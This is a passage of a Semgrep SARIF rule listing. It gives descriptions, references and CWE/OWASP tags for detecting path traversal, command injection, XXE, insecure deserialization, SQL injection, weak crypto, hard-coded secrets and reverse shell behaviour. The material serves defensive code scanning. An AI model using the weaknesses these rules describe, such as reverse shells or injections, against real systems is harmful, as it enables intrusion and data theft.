files."},"helpUri":"https://semgrep.dev/r/rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","id":"rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","name":"rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","id":"python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","name":"python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption."},"help":{"markdown":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","id":"cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","name":"cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","properties":{"precision":"very-high","tags":["CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set."},"help":{"markdown":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.session-fixation.session-fixation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n - [https://owasp.org/www-community/attacks/Session_fixation](https://owasp.org/www-community/attacks/Session_fixation)\n","text":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set."},"helpUri":"https://semgrep.dev/r/javascript.express.session-fixation.session-fixation","id":"javascript.express.session-fixation.session-fixation","name":"javascript.express.session-fixation.session-fixation","properties":{"precision":"very-high","tags":["CWE-384: Session Fixation","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.session-fixation.session-fixation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep)\n - [https://github.com/EsotericSoftware/kryo](https://github.com/EsotericSoftware/kryo)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","id":"java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","name":"java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","id":"python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","name":"python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","id":"javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","name":"javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.path-traversal.tainted-path.tainted-path)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.actix.path-traversal.tainted-path.tainted-path","id":"rust.actix.path-traversal.tainted-path.tainted-path","name":"rust.actix.path-traversal.tainted-path.tainted-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.path-traversal.tainted-path.tainted-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","id":"java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","name":"java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","id":"csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","name":"csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The 'phpinfo' function may reveal sensitive information about your environment."},"help":{"markdown":"The 'phpinfo' function may reveal sensitive information about your environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.phpinfo-use.phpinfo-use)\n - [https://www.php.net/manual/en/function.phpinfo](https://www.php.net/manual/en/function.phpinfo)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/PhpinfosSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/PhpinfosSniff.php)\n","text":"The 'phpinfo' function may reveal sensitive information about your environment."},"helpUri":"https://semgrep.dev/r/php.lang.security.phpinfo-use.phpinfo-use","id":"php.lang.security.phpinfo-use.phpinfo-use","name":"php.lang.security.phpinfo-use.phpinfo-use","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.phpinfo-use.phpinfo-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher."},"help":{"markdown":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://www.pycryptodome.org/src/public_key/rsa#rsa](https://www.pycryptodome.org/src/public_key/rsa#rsa)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf)\n","text":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","id":"python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","name":"python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep found potential reverse shell behavior"},"help":{"markdown":"Semgrep found potential reverse shell behavior\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.java-reverse-shell.java-reverse-shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Semgrep found potential reverse shell behavior"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.java-reverse-shell.java-reverse-shell","id":"java.lang.security.audit.java-reverse-shell.java-reverse-shell","name":"java.lang.security.audit.java-reverse-shell.java-reverse-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.java-reverse-shell.java-reverse-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"help":{"markdown":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#.objects.extra](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#.objects.extra)\n","text":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","id":"python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","name":"python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing 